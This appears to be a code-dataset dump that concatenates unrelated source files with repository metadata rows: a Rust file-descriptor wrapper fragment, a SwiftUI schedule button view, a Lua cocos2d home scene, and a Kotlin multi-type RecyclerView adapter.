pub fn check(&self) -> bool {
self.fd >= 0
}
/// Read from this file descriptor into the given buffer as much as possible.
///
/// Return the number of bytes read like [`libc::read`]
/// or the libc [`Errno`] if there was an error.
pub fn read(&self, buf: &mut [u8]) -> Result<usize, Errno> {
if buf.is_empty() {
return Ok(0);
}
let len = cmp::min(buf.len(), libc::ssize_t::MAX as usize) as libc::size_t;
let buf = buf.as_mut_ptr() as *mut c_void;
let bytes_read = libc_call(|| unsafe { libc::read(self.fd, buf, len) })?;
Ok(bytes_read as usize)
}
/// Write from given buffer to this file descriptor as much as possible.
///
/// Return the number of bytes written like [`libc::write`]
/// or the libc [`Errno`] if there was an error.
pub fn write(&self, buf: &[u8]) -> Result<usize, Errno> {
if buf.is_empty() {
return Ok(0);
}
let len = buf.len();
let buf = buf.as_ptr() as *const c_void;
let bytes_written = libc_call(|| unsafe { libc::write(self.fd, buf, len) })?;
Ok(bytes_written as usize)
}
/// Resolve this file descriptor to its path using the `/proc` filesystem.
pub fn path(&self) -> io::Result<PathBuf> {
Path::new("/proc/self/fd")
.join(self.fd.to_string())
.read_link()
}
}
impl Display for FD {
fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
write!(f, "{:?}", self)
}
}
| 29.861111 | 85 | 0.590078 |
9af1d8a28045670d5658f7c0e229fe4314f1ebde
| 647 |
swift
|
Swift
|
SwiftUI-AirConditionerController/SwiftUIAirConditionerController/View/SmartScheduleView.swift
|
luannguyen252/my-swift-journey
|
788d66f256358dc5aefa2f3093ef74fd572e83b3
|
[
"MIT"
] | 14 |
2020-12-09T08:53:39.000Z
|
2021-12-07T09:15:44.000Z
|
SwiftUI-AirConditionerController/SwiftUIAirConditionerController/View/SmartScheduleView.swift
|
luannguyen252/my-swift-journey
|
788d66f256358dc5aefa2f3093ef74fd572e83b3
|
[
"MIT"
] | null | null | null |
SwiftUI-AirConditionerController/SwiftUIAirConditionerController/View/SmartScheduleView.swift
|
luannguyen252/my-swift-journey
|
788d66f256358dc5aefa2f3093ef74fd572e83b3
|
[
"MIT"
] | 8 |
2020-12-10T05:59:26.000Z
|
2022-01-03T07:49:21.000Z
|
//
// SmartScheduleView.swift
// SwiftUIAirConditionerController
//
// Created by Luan Nguyen on 26/12/2020.
//
import SwiftUI
struct SmartScheduleView: View {
var body: some View {
HStack {
Button(action: {
print("Button Pressed!")
}, label: {
Image(systemName: "stopwatch")
.font(.title2)
.foregroundColor(.gray)
Text("Set smart schedule")
.font(.system(size: 16, weight: .bold, design: .default))
.foregroundColor(Color.red)
})
}
}
}
| 23.962963 | 77 | 0.483771 |
d052f8c74807ba8086463113673ccb5e8b57c7cc
| 4,851 |
lua
|
Lua
|
src/app/demo/JrueZhu/HomeScene.lua
|
littleBearJrue/cocosDemo
|
76d51c9ef6033d30cab321099079eb2b72bbda26
|
[
"Apache-2.0"
] | null | null | null |
src/app/demo/JrueZhu/HomeScene.lua
|
littleBearJrue/cocosDemo
|
76d51c9ef6033d30cab321099079eb2b72bbda26
|
[
"Apache-2.0"
] | null | null | null |
src/app/demo/JrueZhu/HomeScene.lua
|
littleBearJrue/cocosDemo
|
76d51c9ef6033d30cab321099079eb2b72bbda26
|
[
"Apache-2.0"
] | null | null | null |
--[[--ldoc desc
@Module HomeScene.lua
@Author JrueZhu
Date: 2018-10-18 18:17:51
Last Modified by JrueZhu
Last Modified time 2018-11-01 20:46:02
]]
local appPath = "app.demo.JrueZhu"
local HomeScene = class("HomeScene", cc.load("mvc").ViewBase)
local ClockCountDown = require(appPath .. ".widget.ClockCountDown")
local function createBackground()
local visiblieSize = cc.Director:getInstance():getVisibleSize()
local background1 = cc.Sprite:create("Images/JrueZhu/background.png");
local spriteContentSize = background1:getTextureRect()
background1:setPosition(visiblieSize.width/2, visiblieSize.height/2)
background1:setScaleX(visiblieSize.width/spriteContentSize.width)
background1:setScaleY(visiblieSize.height/spriteContentSize.height)
local background2 = cc.Sprite:create("Images/JrueZhu/background.png");
local spriteContentSize = background2:getTextureRect()
background2:setPosition(visiblieSize.width/2, background1:getContentSize().height - 2)
background2:setScaleX(visiblieSize.width/spriteContentSize.width)
background2:setScaleY(visiblieSize.height/spriteContentSize.height)
-- 背景滚动
local function backgroundMove()
background1:setPositionY(background1:getPositionY()-2)
background2:setPositionY(background1:getPositionY() + background1:getContentSize().height - 2)
if background2:getPositionY() == 0 then
background1:setPositionY(0)
end
end
local backgroundEntry = cc.Director:getInstance():getScheduler():scheduleScriptFunc(backgroundMove, 0.01, false)
return background1, background2, backgroundEntry;
end
-- FIXME:
local function createTitle()
-- local title = cc.Label:createWithSystemFont("跳怪消星", "Arial", 30);
local title = cc.Label:create();
title:setString("跳怪消星");
title:move(display.cx, display.cy + 50);
return title;
end
local function createPlayBtn(backgroundEntry)
local button = ccui.Button:create("Images/JrueZhu/btn_play.png", "", "", 0);
button:move(display.cx, display.cy - 100)
button:addTouchEventListener(function(sender, eventType)
if (ccui.TouchEventType.began == eventType) then
print("pressed")
local playScene = require("PlayScene.lua")
-- local playScene = self:getApp():getSceneWithName("PlayScene");
print("playScene------>", playScene)
local transition = cc.TransitionTurnOffTiles:create( 0.5, playScene)
cc.Director:getInstance():replaceScene(transition);
-- 同时取消滚动
cc.Director:getInstance():getScheduler():unscheduleScriptEntry(backgroundEntry)
elseif (ccui.TouchEventType.moved == eventType) then
print("move")
elseif (ccui.TouchEventType.ended == eventType) then
print("up")
elseif (ccui.TouchEventType.canceled == eventType) then
print("cancel")
end
end)
return button;
end
local function createCard()
local frameCache = cc.SpriteFrameCache:getInstance();
frameCache:addSpriteFrames("Images/JrueZhu/CardResource/cards.plist")
local bg = cc.Sprite:createWithSpriteFrameName("bg.png");
local bgHeight = bg:getContentSize().height;
local bgWidth = bg:getContentSize().width;
local valueImage = cc.Sprite:createWithSpriteFrameName("black_1.png");
print("valueImage------>", valueImage)
valueImage:setAnchorPoint(0, 1);
valueImage:setPosition(10, bgHeight - 10);
local valueImageWith = valueImage:getContentSize().width;
local valueImageHeight = valueImage:getContentSize().height;
bg:addChild(valueImage);
local smallTypeImage = cc.Sprite:createWithSpriteFrameName("color_2_small.png");
smallTypeImage:setAnchorPoint(0, 1);
smallTypeImage:setPosition(10, bgHeight - valueImageHeight - 15);
bg:addChild(smallTypeImage);
local typeImage = cc.Sprite:createWithSpriteFrameName("color_2.png");
typeImage:setAnchorPoint(0.5, 0.5);
typeImage:setPosition(bgWidth/2, bgHeight/2);
bg:addChild(typeImage);
return bg;
end
local function main()
-- 创建主场景
local scene = cc.Scene:create()
-- add moveable background
-- local background1, background2, backgroundEntry = createBackground();
-- scene:addChild(background1);
-- scene:addChild(background2);
-- -- add play label
-- scene:addChild(createTitle());
-- -- add play button
-- scene:addChild(createPlayBtn(backgroundEntry));
-- scene:addChild(createCard())
local clock = ClockCountDown:create({timer = 60}):move(display.center);
clock.timer = 10;
clock:setTimeEndListener(function()
dump("timeout!!!!")
end)
scene:addChild(clock);
return scene;
end
return main;
| 37.030534 | 117 | 0.690785 |
46df2e70f4263254dc9c292ff44a4cf88ddcab7a
| 1,563 |
kt
|
Kotlin
|
app/src/main/java/com/example/multitypeviewadapter/MultiTypeViewAdapter.kt
|
marcus-martins/MultiTypeViewAdapter
|
4b8adcad6994a7cc0bba0e75021aed9c9162c2a7
|
[
"MIT"
] | null | null | null |
app/src/main/java/com/example/multitypeviewadapter/MultiTypeViewAdapter.kt
|
marcus-martins/MultiTypeViewAdapter
|
4b8adcad6994a7cc0bba0e75021aed9c9162c2a7
|
[
"MIT"
] | null | null | null |
app/src/main/java/com/example/multitypeviewadapter/MultiTypeViewAdapter.kt
|
marcus-martins/MultiTypeViewAdapter
|
4b8adcad6994a7cc0bba0e75021aed9c9162c2a7
|
[
"MIT"
] | null | null | null |
package com.example.multitypeviewadapter
import android.view.LayoutInflater
import android.view.ViewGroup
import androidx.recyclerview.widget.RecyclerView
class MultiTypeViewAdapter(
private val itemViewList : List<ItemView>
) : RecyclerView.Adapter<RecyclerView.ViewHolder>() {
private val HEADER = 1
private val LIST_ITEM = 2
private val FOOTER = 3
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): RecyclerView.ViewHolder {
val inflater = LayoutInflater.from(parent.context)
return when (viewType) {
HEADER -> HeaderViewHolder(inflater, parent)
LIST_ITEM -> ListItemViewHolder(inflater, parent)
FOOTER -> FooterViewHolder(inflater, parent)
else -> throw Exception("Not found view holder")
}
}
override fun getItemCount() = itemViewList.size
override fun onBindViewHolder(holder: RecyclerView.ViewHolder, position: Int) {
val item = itemViewList[position]
when (itemViewList[position]) {
is ItemView.Header -> (holder as HeaderViewHolder).bind(item as ItemView.Header)
is ItemView.ListItem -> (holder as ListItemViewHolder).bind(item as ItemView.ListItem)
is ItemView.Footer -> (holder as FooterViewHolder).bind(item as ItemView.Footer)
}
}
override fun getItemViewType(position: Int) =
when (itemViewList[position]) {
is ItemView.Header -> HEADER
is ItemView.ListItem -> LIST_ITEM
is ItemView.Footer -> FOOTER
}
}
| 38.121951 | 98 | 0.680742 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.